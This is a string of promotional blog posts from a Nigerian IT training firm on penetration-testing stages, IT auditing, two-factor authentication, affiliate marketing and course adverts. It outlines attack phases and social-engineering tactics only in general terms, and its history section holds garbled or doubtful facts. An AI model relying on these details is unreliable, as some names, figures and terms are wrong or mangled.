Penetration which is colloquially referred to as pen test is a simulated attack that is being performed on a computer system or its network infrastructure with permissions from management to probe for security vulnerabilities, and a potential means of gaining access to data and other features on the system.

Penetration testing helps one to find out the vulnerability of a system to an attack and if the defense mechanism created are sufficient and which defense mechanisms or techniques employed that can be defeated. A typical penetration testing process focuses on finding vulnerabilities depending on the nature of the approved activity for a given engagement.

A security testing will never prove the absence of security flaws in a system but it can sure prove their presence.

 Brief History of Penetration Testing

In the mid-1960s, for over 50years and more, as the sophistication of networks increased, white hat hackers have been putting in work to make sure computer systems are protected from unauthorized access by hackers. They understood if hackers gain access into their systems, they could even destroy information networks asides stealing information. As computers began to gain the ability to share data or information through and across communication lines, the challenge to protect information increased. These lines if broken and data compromised, contained or stolen.

As early as 1965, computer security experts warned the government and business outlets that because of the increasing capability of computers to share information and exchange vital data across communication lines, there could be an inevitable attempt to penetrate those communication lines during exchange of data. In the year 1967, in the annual joint computer conference which had over 15,000 cyber security experts in attendance, there were serious deliberations that computer communication lines could be penetrated by hackers. They coined the term penetration which has perhaps become a major challenge in computer communication today.

This meeting brought the idea of actually testing systems and networks to ensure that integrity is increased as the expansion of computer networks such RAND corporation which first discovered a major threat to internet communications. The RAND Corporation aliased with the Advance Research Projects Agency (ARPA) located in the US to produce a report known as The Willis Report named after its lead author. The Willis Report discussed this security issue with a proposition of policies to serve as countermeasures in security breaches.

From this report however, the government and organizations started to form teams with the sole responsibility of finding weaknesses and vulnerabilities in the computer networks and measures to protect the systems from unauthorized or unethical hacking or penetration.

Today, there are numerous and specialized options that are available for performing penetration testing. Many of these systems include tools that a range of features for testing the security of the operating system. For example, we have Kali Linux which can be used for performing penetration testing and digital forensics. Also contained in it are 8 standard tools such as burp suite, Nmap, Aircrack-ng, Kismet, Wireshark, the Metasploit framework and John the Ripper. Kali Linux has all these tools and many more and for a system to contain all this sophisticated tools goes to show how much sophisticated today’s technology has gradually become and how many hackers are finding ways to create problems for computer-driven networks and computing environments most the especially the internet.

Objectives of Penetration Testing

The objectives of an intense pen test involve

  • Determining how an attacker can find any loopholes to unlawfully gain access to the systems assets that can be of harm to the fundamental security of the systems logs, files.
  • Confirming that all the applicable controls like the vulnerability management methodologies and segmentation required for the good functioning of the system are in place

Types of Penetration Testing

  1. Black box penetration testing: Also referred to as blind testing. Here, the client does not give out any prior information of the system architecture to the pen tester. It may offer little as regards value to the pen tester since the client does not provide any information. It can require more money, more time as well as resources to carryout
  2. White box penetration testing: Also known as Here, the client provides the pen tester with a comprehensive and complete detail of the network and how is being applied.
  3. Grey box penetration testing: The client may provide incomplete or partial information of the system network.

Stages of Penetration Testing

There are basically 5 stages of a penetration test.

1. Reconnaissance and planning: This stage involves gathering intelligence such as network, mail servers and domain names in the bid to understand how the target system works and the potential vulnerabilities it is facing.

It also involves a thorough definition of the scope and the goals of the penetration test, including the systems that are to be addressed and the methods of testing to deployed.

2. Scanning: This stage requires an in-depth understanding of how the target applications will respond to any attempt of intrusion. Scanning can be performed in the following ways:

  • Static analysis: This is a process involves a careful inspection of the codes in the application and how it behaves when it is run. These tools have the capability of scanning the entire code in a single pass.
  • Dynamic Analysis: It involves a careful inspection of the codes in the application when in the running state. It is a more practical approach to scanning in that it gives the real-time view of the applications performance.

3. Gaining Access: In this stage, the pen tester uses web application attack techniques such as SQLs, XXLs and backdoors to unravel the vulnerabilities on the target system. In a quest to understand the damages they can cause on the target, the tester will try to exploit the vulnerabilities discovered by intercepting traffic, stealing data and escalating privileges etc.

4. Maintaining Access: The stage aims at achieving a persistent presence in the exploited system using the known vulnerabilities. Advanced threats which are capable of remaining on the system for months are logged into the system into to monitor changes, enhancements and any new information being loaded onto the system.

5. Results and Analysis: In this stage, all the results obtained from the penetration test are compiled comprehensively and in details. This includes;

  • All the vulnerabilities that have been exploited
  • All sensitive data that has been accessed
  • The amount of time spent during maintaining access without being detected.

The security personnel then analyses the results in a bid to where necessary reconfigure the organization’s WAF settings and any other application security flaws. This is done to patch all the vulnerabilities and to protect information against any future attacks.

Classification of Penetration Testing

1. External Penetration Testing: An external penetration tests is targeted at the assets owned by an organization that are accessible to and on the internet. Examples of such assets can be,

  • The organizations website
  • Domain name servers
  • Emails
  • Web applications

The major goal of the external pen test is to gain access and extract data.

2. Internal Penetration Testing: It attempts to mimic an attacker actually launching an attack on the network to find vulnerabilities or loopholes.

It involves an examination of the IT systems of an internal network for possible traces of vulnerabilities which can affect the confidentiality, integrity and availability, and thereby giving the organisation the clues to take steps to address such vulnerabilities.

Penetration Testing Services

I will describe 4 distinct penetration testing service offerings that we can provide you

  1. Vulnerability Scanning: This scanning technique provides a very transparent and mature offer but the biggest challenge always lies on whether to resell a service offering or to buy that can be used to internally scan the clients systems and networks. Every regulation requires scanning which is the first and easy step taken towards achieving security assurance. This is because all regulated customers need to scan.
  2. Penetration testing of Infrastructure: This offers tools such as Metasploit or Core Impact, that can be used to perform live exploits. Live ammunitions are used so you have to orchestrate or organize the test with the client in such a way that the amount of disruption during the tests is minimized. The pen tester should endeavor to test all externally visible IP addresses because it is what the bad guys want in order to penetrate the system and network. The tester should also attach to the conference room network which is one of the softest parts of the customers’ defense.
  3. Penetration of Applications: This is a very important step which involves an attempt to break into the applications because so many attacks are directly targeted at applications. Web applications such as HP’s WebInspect and IBM’s AppScan can be employed, but the tester can also find ways to exploit the application logic errors. Nothing stands a skilled application test because once an initial application is compromised, a direct access to the database where valuable data is easy. If the tester can access the database, then the customers system is owned already and scripts can be written to block every loop holes by the attacker.
  4. User Testing: This part of the penetration test is always fun for the penetration testers because they get to see how gullible and vulnerable most users are. The test may involve sending fake email messages to customer service representatives in a bid to gather information that can be used to penetrate their facilities. They even drop thumb drives at the parking lot and watch out for people that will plug them. Social engineering is one of the key ways of information gathering and should never be underestimated. Social engineering can be used on the client in order to catch them off guard.

Standards for Penetration Testing Methodologies

There are many accepted industry methodologies that may guide and help the pen tester through any test.

  • Open Source Security Testing Methodology Manual (OSSTMM)
  • OWASP Testing Guide
  • The National Institute of Standards and Technology (NIST)
  • Penetration Testing Execution Standard
  • Penetration Testing Framework

These frameworks have set standards that any penetration testing activity should follow as should strictly be adhered to guide the pen tester whenever necessary.

A typical penetration activity is detailed and must be carried out in an organized fashion. This is because organisational data and assets are very important and delicate things to handle therefore there is a need to have an orgnised team of professionals to handle your penetration testing services.

We at SOUTECH web consults are the perfect consulting firm for carrying out your penetration testing. We have professional staff and a team to conduct a well detailed and professional penetration testing. Subscribe for our services today.

 

A step by step Guide for IT Auditing: SOUTECH Web Security- Penetration Testing company in Nigeria

IT audit attempts to evaluate the controls surrounding data as it relates to confidentiality, integrity, and availability. IT audits ensure that confidentiality of information, ensures the integrity and availability which is a key factor to recovering from an incident.

This is a follow up article to on IT audits but I will be dissecting more on the methodologies and steps to performing audits

 

One of the challenges that audit managements and IT auditing have faced overtime is that it ensures IT audit resources are readily available to conduct IT audits. It audits require a lot of technical skills unlike financial audits, for example, an IT auditor will need a lot of training in web applications in other to audit a web application. Likewise, if they want to an oracle audit, they need to be trained efficiently as well as Windows platforms.

Another problem that audit management faces is in the management of IT auditors, because this because they have to track the timing when compared with the objectives of the audit as well as follow-up time on the measures of corrective actions that the clients take when responding to any previous recommendations and possible findings.

One of the important factors in IT auditing and one in which audit management struggles with consistently, is to ensure that adequate IT audit resources are available to perform the IT audits. Financial audits quite unlike IT audits are very intensive in terms of knowledge, for example, if an IT auditor is performing a Web Application audit, then they need to be trained in web applications; if they are doing an Oracle database audit, they need to be trained in Oracle; if they are doing a Windows operating system audit, they need to have some training in Windows and not just XP, they’ll need exposure to Vista, Windows 7, Server 2003, Server 2008, IIS, SQL-Server, Exchange.

 

Another factor that audit management faces is the actual management of the IT auditors, for not only must they track time against audit objectives, audit management must allow for time to follow-up on corrective actions taken by the client in response to previous findings and/or recommendations.The following are the things that an IT expert needs to do before beginning an audit;

  • Perform a review of the organizational structure of the IT assets
  • Perform a review of all IT policies and procedures
  • Perform a review of all the IT standards
  • Perform a review of the IT documentations
  • Perform a review of the organization’s BIA
  • Conduct an interview the authorized personnel
  • Observe and monitor the processes and the performance of the employees
  • Examine the testing of controls, and the results gotten from the tests.

Steps to Perform IT Audits

1. Understand the Audit Subject Area

  • Perform a tour of all the facilities related to audit
  • Perform a review of the background materials
  • Review the IT and business strategic plans
  • Conduct an interview for the key managers in order to understand business
  • Review audit reports that have been in existence
  • Identify regulations and where they have been applied
  • Identify the areas that have been outsourced

 2.  Perform an Audit Engagement Plan Vocabulary

Subject of the Audit: The area that is to be audited. An example is the information systems related to sales

The objective of the Audit: The purpose of performing the audit. An example is determining if the sales database is safe against data breaches, due to inappropriate authentication, access control, or hacking.

Scope of the Audit:  Streamlining the audit to a specific system, function, or unit, or period of time. An example is the is determining if the scope is constrained to Headquarters for the last year.

3.  Perform Risk Assessment: Risk-Based Auditing

Check Inherent Risk: Determine the susceptibility of the system to a risk. An example is a bank’s inherent risk of being robbed.

Control the risk: If a problem exists that will not be detected by an internal control system. Still using the bank case as an example, if a thief accesses a customer’s account at Money Machine and is not detected

Detection of Risk: An auditor does not detect a problem that does exist. Example as in the case of the bank, if a fraud takes but it is not detected.

Perform an overall risk auditing: Combine all the audit risks.

4.   Audit Engagement Risk Analysis

5.   Prepare an Audit Engagement Plan

  • Develop a risk-based approach
  • Include audit objectives, required resources, timing, scope
  • Comply with all applicable laws
  • Develop an audit program and procedures

6.  Add Detail to Plan

7.  Evaluate Controls:

8. Classification of IT controls

  • Corrective controls: It involves fixing the problems to prevent future problems by using:
  • Contingency planning
  • Backup procedures
  • Detective Controls: These involves finding any form of fraud when it occurs using:
  • Hash totals
  • Check points
  • Duplicate checking
  • Error messages
  • Past-due account reports
  • Review of activity logs
  • Preventive Controls: Preventive control measures include:
  • Programmed edit checks
  • Encryption software
  • Access control softwares
  • A well-designed set of procedures
  • Physical controls
  • Employ only qualified personnel

9.  Evaluate Controls: Simple Control Matrix

  • Test the Vocabulary

Compliance Testing:  A compliance test should take this form

  • Are there controls in place and are they consistently applied?
  • Check access control
  • Ensure program change control
  • Procedure documentation
  • Program documentation
  • Software license audits
  • System log reviews
  • Exception follow-ups

Substantive Testing:  Check the following:

  • Are transactions processed accurately?
  • Is data collected correct and accurate?
  • Double check processing
  • Calculation validation
  • Error checking
  • Operational documentation

If the results for the compliance testing are poor, the substantive testing should increase in type and sample number.

Compliance Testing: It should check the following

  • Control: Is production software controlled?
  • Test: Are production executable files built from production source files?
  • Test: Are proper procedures followed in their release?
  • Control: Is access to the sales database constrained to Least Privilege?
  • Test: Are permissions allocated according to documentation?
  • Test: When persons gain access to the database, can they access only what is allowed?

Substantive Testing

  • Audit: Is financial statement section related to sales accurate?
  • Test: Track the processing of sample transactions through the system by performing calculations manually
  • Test: Test error conditions
  • Audit: Is the tape inventory correct?
  • Test: Search for sample days and verify complete documentation and tape completeness

 Tools for IT Audits

ISACA has Standards and Guidelines related to Audit

  • Section 2200 General Standards
  • Section 2400 Performance Standards
  • Section 2600 Reporting Standards
  • Section 3000 IT Assurance Guidelines
  • Section 3200 Enterprise Topics
  • Section 3400 IT Management Processes
  • Section 3600 IT Audit and Assurance Processes
  • Section 3800 IT Audit and Assurance Management
  • Translate the basic audit objectives into specific IT audit objectives
  • Identify and select the best audit approach to verify and test controls
  • Identify individuals to interview
  • Obtain departmental policies, standards, procedures, guidelines to review
  • Develop audit tools and methodology

IT General Controls Check List

1. Documentation of employees and the organization

  • Draw an organizational Chart
  • Company
  • IT Department
  • Current Phone List/Company Directory
  • Job Descriptions for the IT Department
  • Sample of Employee Evaluation Form
  • List of all the terminations/ disengagements in the last 12 months.
  • Checklist of newly hired employees
  • Termination Checklist
  • IT Project List – Is it being planned, completed in the last 12months on its ongoing?
  • Review of the past year’s management response letter

2.       Documentation of IT policies and procedures

·   Obtain a network architecture diagram and documentation

·   Obtain a network diagram

·   Obtain a diagram and Lists of hosts and servers that are running financial applications

·   Change the management policies and procedures

·   Make an inventory of network hardwares and softwares

·   Determine the computer operations, its policies and procedures

·   Layer down security policies

·   Enforce password policies

·   Acceptable Use Policy

·   Layer down incident response policies

·   Get a curriculum for security awareness training

·    Configure firewalls and rule sets

·    Obtain software policies and procedures

·    Setup remote access policies

·    Setup policies for emails, instant messaging, internet usage

·    Develop a disaster recovery and business contingency plan

·    Setup policies for data backup and data recovery

·    Get backup logs

·    Offsite Tape Rotation Logs

·    Obtain a listing of IT related insurance coverage

·    Get copies of vendor contracts and service level agreements

·    Deploy an organized Help Desk with help desk request tracking forms and trouble tickets

·    Report open and closed tickets

·    Employ batch processing

 

When performing an IT audit, the responsibility of the auditor general is to check if the IT system complies with government IT policies, procedures, standards, laws and regulations. Also, the auditor general should endeavor to use IT audit tools, technical guides and recommended resources by ISACA where appropriate. The resources recommended by ISACA (Information systems Audit and control association should encourage IT audit staff and the team as a whole to be certified. Certifications include but a few;

  • CISA (Certified Information systems Auditor)
  • CIA (Certified Internal Auditor)
  • CISM (Certified Information Security Manager)
  • CGEIT (Certified in the Governance of Enterprise IT)

The Audit reports

After a successful audit process, the IT auditor needs to do a detailed documentation. Here is a list of a few things an auditor needs to include in the audit.

  • Plan and prepare the scope and objectives for the audit
  • Describe the scope of the audit area
  • Draft and audit program
  • Get down the steps performed and gather the audit evidence of the audit
  • If the services of other auditors and IT experts were used and what their contributions were.
  • Document your findings, make conclusions and recommendations
  • Document the audit in relation with document dates and identification
  • Report obtained as a result on the audit performed
  • An evidence of the review for audit supervisory

The audit results should be submitted to the organization upon exit where you can take out time to discuss in details your findings and recommendations. You should be certain of the following;

  • That all the facts and findings noted down on this report are accurate
  • That the recommendations you’ve made are cost-effective, more realistic and there are alternatives which should be negotiated with management
  • That the dates for the recommended implementation will be agreed.

There are some other things you need to consider when you’re preparing to present your final report. You need to consider the audience and if the presentation is going to be done to the audit committee. The audit committee may not be really notice the minutia that goes into the business report. Your report should be done in a timely manner so as to give way for any form of corrections.

Finally, if you come across a significant finding in the course of the IT audit, you should inform management immediately.

Always subscribe to Soutech Ventures where we can handle all your IT solutions especially in the areas of IT audits.

Also enroll for a cyber security, ethical hacking training at SOUTECH.

Two-Factor Authentication: What you don’t know can harm your IT infrastructure( Softwares and Hardware Devices)

Employing secure passwords is now more important than you could ever think. The fact that passwords have substantial monetary values attached to them, gives hackers the reason to hack them. Data breaches and password leaks have constantly developed media attention over the years, thereby leaving millions of user accounts vulnerable or susceptible to being accessed by cybercriminals.

In order to create an extra layer of security to prevent easy access by hackers, you will need to understand the importance of the two-factor authentication mechanism and employ it. This is simply because, a cybercriminal needs more than just your username and password credentials to perform attacks. The truth is that you may be actually using the two-factor authentication without knowing what it actually is. A common example where this mechanism is deployed is your ATM cards as it uses both your card itself and your 4-pin number.

I’ll quickly explain the concept of the 2FA (a brief for Two-factor authentication) which I’ll be using more frequently in this writeup.

What is the 2FA?

The 2FA is an extra layer of security which can also be referred to as multi-factor authentication which requires not only a username and password but also requires something that only a dedicated user has on them.  By this I mean a piece of information only they only should know and can provide by hand whenever its needed. An example is a physical token.

                      

How do you deploy 2FA?

Based on the definition above, A 2FA mechanism should require the following of you,

  1. It should be something that you know and are used to ex- A Pin Number, a pattern or password.
  2. It should be something that you have example; A credit or ATM card, a mobile phone or security token (a key fob or USB token)
  3. Finally, it should be something that is unique to you example, A bio-metric authentication such as a voice print and a fingerprint.

            Core components of a Two-Factor Authentication

How Strong is a Two-Factor Authentication?

As you well know, nothing is in its actual sense 100% safe or secure, and as such account is still prone to hacking through some social engineering means such as a shoulder surfing and other password recovery options. Take a instance if you’re performing a password reset in cases where you forgot your password, retrieving it by email can totally bypass the 2FA mechanism. Now if an attacker has access to your email account which you linked your 2FA to, he can capture your password directly to perform an attack on you.

My emphasis is that you always monitor your email account for phishing emails and those ones that carry messages requesting for password changes.

What are the downsides of this security mechanism?

The shortcoming of this security mechanism is that the new hardware tokens which take the form of key fobs and card readers always need to be reordered and this can slowdown business for the company. This is so because customers are always wanting and waiting to gain access to their own private information using this means of authentication.

                          A Typical Hardware Token

Tokens are also usually small and can be easily lost thereby causing more problems for everyone especially when clients are on the waiting list for them.

I’ll also shade a little light on some password security measures you should know coupled with the 2FA

  1. Many or millions of people have taken to using birthdates, phone numbers, addresses and words as passwords. These are the passwords that can easily be cracked by performing dictionary attacks and brute force attacks.
  2. Avoid using the same password across multiple accounts.
  3. Take it as a culture to employ user passwords that are 8 characters at least and always make use of a unique combination of both lowercase and uppercase letters, numbers, stringed characters and numbers as well.

In Conclusion, the use of the 2FA mechanism can go a great length to lower the number of cases of phishing via emails and online identity theft, because the hacker will require just more than the users name and password credentials as explained earlier.

Using a Two Factor Authentication process can help to lower the number of cases of identity theft on the Internet, as well as phishing via email, because the criminal would need more than just the users name and password details.

To get more information on this and many more security information, we at Soutech web Consultants have a comprehensive list of courses that cover all you may need to know about online security and basic internet safety tips you should know as well as the countermeasures.

Subscribe to our ethical Hacking Course today via www.soutechventures.com/courses to learn a course today.

Make passive income via software sales and vendoring – Buyallsoftwares.com

Have you heard of how people make money online recently? Yeah, I know you have heard a lot of different means, but today we will be looking at “Affiliate Marketing”. It is one of the legal ways to earn money online simply by promoting other people’s or company’s products and services. Most affiliate marketing is commission-based but has different categories or methods of earning.

Some Methods of Earning Are:

Pay Per Click is the most popular type of affiliate marketing for affiliates with little websites, and most likely the most convenient way for them to earn money. In this affiliate marketing type, the merchant pays his affiliate whenever a visitor is referred to his site, that is whenever someone clicks through the merchant’s banner or text advertisements. The affiliate makes money based on the quantity of clicks even if the visitors referred doesn’t actually purchase anything from the merchant’s website. Common fees for PPC affiliate programs are small, generally not exceeding a dollar for every click.

Pay Per Performance (PPP) affiliate marketing is popular amongst merchants and is one of the most financially rewarding type for the affiliates. In this type of affiliate program, the merchant only pays the affiliate whenever his referral equates into an action– that is whenever the visitor he has referred actually purchases something from the referred website. This implies a great deal of cost savings for the merchant. On the other hand, it ends up being the most rewarding type for the devoted affiliate, for commissions in PPP affiliate marketing generally comes in the variety of 15 % to 20 % of the actual item sales.

Pay-per-performance affiliate marketing can be additional categorized into two popular types: pay-per-sales (PPS) and pay-per-lead (PPL).

Pay Per Sale (PPS) is type of affiliate marketing where the merchants pay the affiliate a particular charge whenever the visitor he has referred to the merchant’s site actually purchases something from the merchant’s website. Affiliates are usually paid on commission basis, but some other merchants may opt to pay a fixed charge. But no matter exactly what the basis of the charge is, it is usually greater than the fee paid to affiliates in a pay-per-click affiliate program.

Pay Per Lead (PPL) is the type of affiliate marketing; the affiliate is paid whenever the visitor he referred to the merchant’s site fills an application or any comparable kind associated to the business of the company. Reward for this kind of affiliate marketing is basically on a taken care of fee whose rates approximate that of the taken care of charge in the PPS type.

Aside from these 3 specific kinds of affiliate marketing, a great deal of other affiliate marketing types exists. If the category is based upon the depth of the affiliate network, then it can be categorized as single-tier, two-tier, and multi-tier affiliate marketing. There is also different kind of affiliate marketing that pays the affiliate each time a consumer he referred purchases something from the merchant’s website.

Single-Tier, Two-Tier

These categories of affiliate marketing are based upon the different levels or tiers in the affiliate network by which payments are made. Single-tier affiliate marketing is where the affiliate is paid based on the direct sales or traffic he/she has actually achieved for the merchant. All formerly discussed affiliate marketing categories above (i.e. PPS< PPL, and PPC) fall under the single-tier category. Two-tier affiliate marketing allows the affiliate to earn from both direct traffic or sales that he achieved for the merchant’s website and likewise on every traffic and sales referred by various affiliates who had signed up with the program through his recommendation.

How to Become an Affiliate?

It is true that the idea is basically promoting other peoples’ products and services, but there are few skills one need to acquire in order to become a good affiliate marketer. This include knowing the best program to subscribe to, knowing how to enhance the content of the products and services you determined to market in order to attract potential customers or clients.

Soutech Web Consult has a package design for you to acquire the necessary skill and be sensitized on how to become a good affiliate marketer. Attending trainings on Website Design and Digital Marketing at Soutech Web Consult will give the necessary skills needed for you to become a successful affiliate marketer and start earning passive.

What Next?

Are you a retailer, affiliate marketer or want to starting earning by marketing and reselling products? Join buyallsoftwares.com today and starting earning.

Do not miss our update on how to own a professional affiliate website.

Learn smart website design( ecommerce , company and blog websites) within days- SOUTECH Academy

So you really want to be a website designer? Well, website designing is very interesting and website designers around the world earn some reasonable amount of wages. It is a process of bringing in concepts and ideas into a functional reality.

WHY WEBSITE DESIGN?

As a website designer, you have many options to choose from when it comes career choices. A website designer has some sets of I.T. skills that put the individual in the positions such a website consultant, creative content creator, website administrator, webmaster, website theme developer, plugins developer, theme and plugin customization expert, blogger and much more.

A website designer possesses the ability to design and lunch a functional website or blog, and can also manage and maintain websites including creating contents for various websites, consulting and training other people on website designing. Website design comes with many opportunities, giving you enough room for work flexibility as you can choose to work from anywhere all you need is a computer devices and internet service. You can become a website designer by spending three (3) days with Soutech Web Consult for an intensive website design training and become an expert in less than one month.

WHY SOUTECH WEB CONSULT

Soutech offers various I.T trainings such as Certified Ethical Hacker, Website Design, Web Development, Mobile App, Digital Marketing and many more. Visit www.Soutechventures.com/courses to learn more. Soutech trainings are hands-on emphasizing on relevant areas with over 30 days’ mentorship giving you an opportunity to have you own website for practical practices and experience.  The training labs are conducive in a serene environment that gives you comfort throughout your training period.

THE NEED OF WEBSITE DESIGN

The need of website design is based on the demand of websites.

A website is the single most important marketing tool for any business. It serves as a virtual equivalent of a physical business for the over 3 billion internet users. Think about it: when you want to learn more about a company, you typically turn to Google and search about the company and most times you eventually end up on their website. The same process happens when you are looking for products and services.

As a web development and marketing services company, whenever someone searches for Soutech Web Services, they’ll usually hit our website as the main source to learn about our services, our work, and about the team.

Now, for any organisation that offers services, users will certainly turn to past clients and case studies section of a website. So much information is gained by users browsing a website: what users see and read shapes the perception of the company or brand in the user’s decision-making. According to Statista, over 2 billion people are expected to buy goods and services online by the year 2019. So, having the best content on your website is important so that your website acts as your main marketing tool.

A well-built website should be mobile-responsive, and important aspect to consider based on the fact that it contribute in making a website the most important marketing tool as more and more users browse the web on smartphones (more than desktop usage now, according to Google). Any organisation that desire growth cannot afford to miss out on opportunities for new leads by not having a responsive website.

So there you have it – a website is the most important marketing asset, not just because it acts as a salesperson and a brand ambassador, but because it can be use to genuinely connect with potential customers, whether that’s through engaging content, mobile-responsive layout, or intelligent analytics and personalization. If a website isn’t hitting all these goals, that’s all right. It’s definitely an interactive process, and few if any websites can accomplish everything they need to right out of the gate. It is imperative that one should add these goals to an overall inbound marketing strategy and work on executing them, by doing so, there is assurance that a business will continue to grow. That is what all organisation wants “Grow” hence the will seek the services of someone with the ability to activate that growth through digital presence which is where you will come in as a website designer.

So are you ready? The first step is to visit www.soutechventures.com/courses and give us a call today.

Digital marketing services in abuja, port harcourt nigeria

THE 10 BENEFITS OF DIGITAL MARKETING

Internet marketing is essential because it supports with the way consumers make purchasing decisions, while enables building relations with customers and prospects through regular, low-cost personalized communication and reflecting the move away from mass marketing.

Consumers are progressively turning to the Internet for their buying decisions. This makes Internet marketing more important than ever before. According to studies, to carry out initial price and product research, consumers are turning to research on mobile Internet and social media before making their final purchasing decisions.

Of you yet to be convinced that Internet marketing is the direction your company should go in? Then, I leave you with ten benefits of Internet marketing listed below to help change your mind.

All-Hour Based Marketing

Internet marketing is all-hour based. Your marketing campaigns run 24 hours a day , 7 days a week. you aren’t constrained with opening hours, neither are you to consider overtime payment for staff. The availability or reachability of your online ads copy campaign and offer cannot be affected by international time variation. Anytime an individual opens a computer connected to the internet, S/he’s tendency to see your marketing campaign as opposed to usual traditional offline marketing. Customers search the products offered at their convenient time as long as they like – no hasten, no fear of closing. The users own the opening and closing hours for shopping.

Convenience

Internet marketing gives you the preference to be open for business around the clock without worrying about business resumption hours or overtime payments for staff. Offering your products on the Internet is also convenient for customers. They can browse your online store at any time and place orders when it is convenient for them.

Reach

Overcoming barriers of distance is really easy by marketing on the Internet. You can sell goods in any part of the country without setting up local shops, widening your target market. You can also build an export business without opening a network of distributors in different countries. However, if you want to sell internationally, you should use localization services to ensure that your products are suitable for local markets and comply with local business regulations. Localization services include translation and product modification to reflect local market differences.

Internet Marketing is Cost-Effective

Internet marketing involves less or no start-up-capital. Starting a blog, social media or email marketing require less investment compared to traditional marketing which greatly lies on the factors of production – Land, capital, labour, entrepreneur. These are not prerequisite to online marketing and translate to reduced cost of production, advertising and marketing since no money is incurred on staffing, procurement of business premises and middlemen. We all know that I cost a huge amount running traditional marketing like newspaper, radio, television and banner, while fraction of such can run PPC advertising on Facebook, Google and other PPC companies.

Personalization

Internet marketing enables you to personalize offers to customers by building a profile of their purchasing history and preferences. One can make targeted offers that reflect interests or prospect simply by tracking the web pages and product information that the prospects visits. The information available from tracking website visits also provides data for planning cross-selling campaigns so that you can increase the value of sales by customer.

Relationships

Provision of important platform that builds relationship with customers and increasing customer retention levels comes from the internet. When a customer has purchased a product from your online store, you can begin the relationship by sending a follow-up email to confirm the transaction and thank the customer. A good way to maintain customer relationship is by emailing them regularly with special, personalized offers. You can also invite customers to submit product reviews on your website, helping to build a sense of community.

Social

Have you notice the growing importance of social media lately? One thing that will make you take advantage of that is Internet marketing. A group of consumers that responded most strongly to the influence of social networks generated increased sales of around 5 according to a paper by Harvard Business School Executive Education website, on a highlight regarding the link between social networking and online revenue growth. You can take advantage of this type of influence by incorporating social networking tools in your Internet marketing campaigns.

Residual and Continuity Effect

Inheriting residual effect is one of the great benefits of online marketing. years after the marketing campaign to a content or products is over, the content on websites and blogs remains functional and working to promote your products and services. E-book marketing produces long-term and viral effects after the production. For instance, If you run a campaign to improve traffic to your landing page, the residual power of such marketing remains effective years after the campaign might have been stopped.

Automation Versus Delegation

Another advantage of online marketing is the power of easy, one-mouse-click automation. Marketers often leverage the benefit of delegating best hands for various tasks in traditional offline business and marketing while internet marketing has a better time-savvy opportunity. That is the opportunity to get every aspect of your business fully automated. You search for the best tool for your marketing campaign and all is done. You have the option of spending your time in doing something else.

Convenient, Easy and Quick Service Delivery

Marketing online is incredibly convenient. It has easy accessibility. Consumers doesn’t incur any cost in reaching the internet markets anywhere in the world. This removes the cost of transportation to purchase goods across borders. Importers really enjoy this bonus as they make the online order right in the comfort of their home. Delivery process of sale items can easily be tracked online. Consumers get digital downloadable products on a click of mouse. What better experience is beyond shopping in the comfort of one’s room with a bottle of juice on a table for refreshment.

Take a digital marketing training today at Soutech Web Consult, and start enjoying benefits listed above.

Attend Digital Marketing Training this Friday:

Digital Marketing Practical Training in Abuja

Penetration Testing Training in Nigeria(Certified Ethical Hacking, Certified Penetration Tester,Certified Expert Penetration Tester and the Metasploit Pro Certified Specialist )

Expert Penetration Testing Course Overview

SOUTECH Web Consults Penetration Testing Training, delivered in the form of a 10 Day Boot Camp style course, is the information security industry’s most comprehensive penetration testing course available. You will learn everything there is to know about penetration testing, from the use of network reconnaissance tools, to the writing of custom zero-day buffer overflow exploits. The goal of this course is to help you master a repeatable, documentable penetration testing methodology that can be used in an ethical penetration testing or hacking situation. This penetration testing training course has a significant Return on Investment, you walk out the door with hacking skills that are highly in demand, as well as up to four certifications: CEH, CPT, CEPT and the MPCS!

HOW YOU’LL BENEFIT:

  • Gain the in-demand career skills of a professional security tester. Learn the methodologies, tools, and manual hacking techniques used by penetration testers.
  • Stay ethical! Get hands-on hacking skills in our lab that are difficult to gain in a corporate or government working environment, such as anti-forensics and unauthorized data extraction hacking.
  • Move beyond automated vulnerability scans and simple security testing into the world of ethical penetration testing and hacking.
  • More than interesting theories and lecture, get your hands dirty in our dedicated hacking lab in this network security training course.

After SOUTECH’s Penetration Testing Training course, you will be prepared to take (and pass) up to 4 certifications:

  • CEH – Certified Ethical Hacker
  • CPT – Certified Penetration Tester
  • CEPT – Certified Expert Penetration Tester
  • MPCS – Metasploit Pro Certified Specialist

Prerequisites:

  • Firm understanding of the Windows Operating System
  • Exposure to the Linux Operating System or other Unix-based OS
  • Firm understanding of the TCP/IP protocols.
  • Exposure to network reconnaissance and associated tools (nmap, nessus, netcat)
  • Programming knowledge is NOT required
  • Desire to learn about Ethical Hacking, and get great penetration testing training!

Course Cost: N750,000 ( 10% Discount for Educational and Group Training)

Duration: 10 Days

Weekday Option- Mon-Fri( for 2 weeks)-( 9am-3pm dialy)-

Weekend Option-  Sat- 9am-5pm and Sun- 2-6pm( 5 weekends)

Making cool cash online: smart insider secrets to making sales like a wizard- SOUTECH Tips, Techniques and Tools

WHO WANTS TO BE A MILLIONAIRE?

Just before you start walking tall and wearing that millionaire smile, let me explain. This is not your typical who wants to be a millionaire TV shows were Frank Edoho will ask you some question and you get the answers right to become a millionaire while the spectators cheered at you. Yeah in this program, we have targeted audience as spectators only that there will be no Frank or questions to answer.

HAVE YOU HEARD OF AFFILIATE MARKETING?

Affiliate marketing is a performance-based and how it works is simple. An existing business rewards one or more affiliates for each visitor or customer brought by the affiliate’s own marketing efforts. Technically, four core players are involved in this industry: the merchant (also known as ‘retailer’ or ‘brand’), the network (that contains offers for the affiliate to choose from and also takes care of the payments), the publisher (also known as ‘the affiliate’), and the customer. The market has developed in density, resulting in the development of a secondary tier of players, including affiliate management agencies, super-affiliates and specialized third party vendors.

This is one of the oldest forms of marketing whereby you refer someone to any online product and when that person buys the product based on your recommendation, you receive a commission.

WHAT HAS AFFILIATE MARKETING GOT TO DO WITH ME BE BECOMING A MILLIONAIRE?

